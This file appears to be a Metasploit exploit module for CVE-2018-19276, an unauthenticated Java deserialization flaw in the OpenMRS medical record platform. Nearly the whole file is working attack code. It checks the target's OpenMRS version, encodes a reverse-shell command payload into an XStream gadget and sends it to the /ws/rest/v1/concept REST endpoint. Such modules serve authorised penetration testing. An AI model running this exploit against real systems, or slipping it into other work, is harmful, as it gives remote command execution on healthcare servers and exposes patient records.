Files
metasploit-gs/modules/exploits/multi/http/openmrs_deserialization.rb
T
2019-11-21 14:15:25 -06:00

141 lines
4.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenMRS Java Deserialization RCE',
'Description' => %q(
OpenMRS is an open-source platform that supplies
users with a customizable medical record system.
There exists an object deserialization vulnerability
in the `webservices.rest` module used in OpenMRS Platform.
Unauthenticated remote code execution can be achieved
by sending a malicious XML payload to a Rest API endpoint
such as `/ws/rest/v1/concept`.
This module uses an XML payload generated with Marshalsec
that targets the ImageIO component of the XStream library.
Tested on OpenMRS Platform `v2.1.2` and `v2.21` with Java
8 and Java 9.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Nicolas Serra', # Vuln Discovery and PoC
'mpgn', # PoC
'Shelby Pace' # Metasploit Module
],
'References' =>
[
[ 'CVE', '2018-19276' ],
[ 'URL', 'https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607' ],
[ 'URL', 'https://know.bishopfox.com/advisories/news/2019/02/openmrs-insecure-object-deserialization' ],
[ 'URL', 'https://github.com/mpgn/CVE-2018-19276/' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' => 'cmd/unix/reverse',
}
]
],
'DisclosureDate' => "2019-02-04",
'DefaultTarget' => 0
))
register_options(
[
Opt::RPORT(8081),
OptString.new('TARGETURI', [ true, 'Base URI for OpenMRS', '/' ])
])
register_advanced_options([ OptBool.new('ForceExploit', [ false, 'Override check result', false ]) ])
end
def check
res = send_request_cgi!('method' => 'GET', 'uri' => normalize_uri(target_uri.path))
return CheckCode::Unknown("OpenMRS page unreachable.") unless res
return CheckCode::Safe('Page discovered is not OpenMRS.') unless res.body.downcase.include?('openmrs')
response = res.get_html_document
version = response.at('body//h3')
return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version && version.text
version_no = version.text
version_no = version_no.match(/\d\.\d+\.\d*/)
return CheckCode::Detected('Successfully identified OpenMRS, but cannot detect version') unless version_no
version_no = Gem::Version.new(version_no)
not_vuln = Gem::Version.new('2.1.4')
return CheckCode::Appears("OpenMRS platform version: #{version_no}") if (version_no < not_vuln) && ![ Gem::Version.new('1.11.8'), Gem::Version.new('1.11.9') ].include?(version_no)
CheckCode::Detected
end
def format_payload
payload_data = xml_encode(payload.encoded)
payload_arr = payload_data.split(' ', 3)
formatted_payload = ''
print_status('Formatting payload')
payload_arr.each do |arg|
formatted_payload << "<string>#{arg}</string>"
end
formatted_payload.gsub!("'", "")
end
def read_payload_data(payload_cmd)
# payload generated with Marshalsec
erb_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-19276', 'payload.erb')
payload_data = File.binread(erb_path)
payload_data = ERB.new(payload_data).result(binding)
rescue Errno::ENOENT
fail_with(Failure::NotFound, "Failed to find erb file at the given path: #{erb_path}")
end
def send_exploit
xml_data = format_payload
rest_uri = normalize_uri(target_uri.path, 'ws', 'rest', 'v1', 'concept')
payload_data = read_payload_data(xml_data)
print_status('Sending payload...')
send_request_cgi(
'method' => 'POST',
'uri' => rest_uri,
'headers' => { 'Content-Type' => 'text/xml' },
'data' => payload_data
)
end
def xml_encode(str)
str.gsub!(/&/, '&amp;')
str.gsub!(/</, '&lt;')
str.gsub!(/>/, '&gt;')
end
def exploit
chk_status = check
print_status('Target is running OpenMRS') if chk_status == CheckCode::Appears
fail_with(Failure::NoTarget, 'Target is not vulnerable') unless ((chk_status == CheckCode::Appears || chk_status == CheckCode::Detected) || datastore['ForceExploit'] )
send_exploit
end
end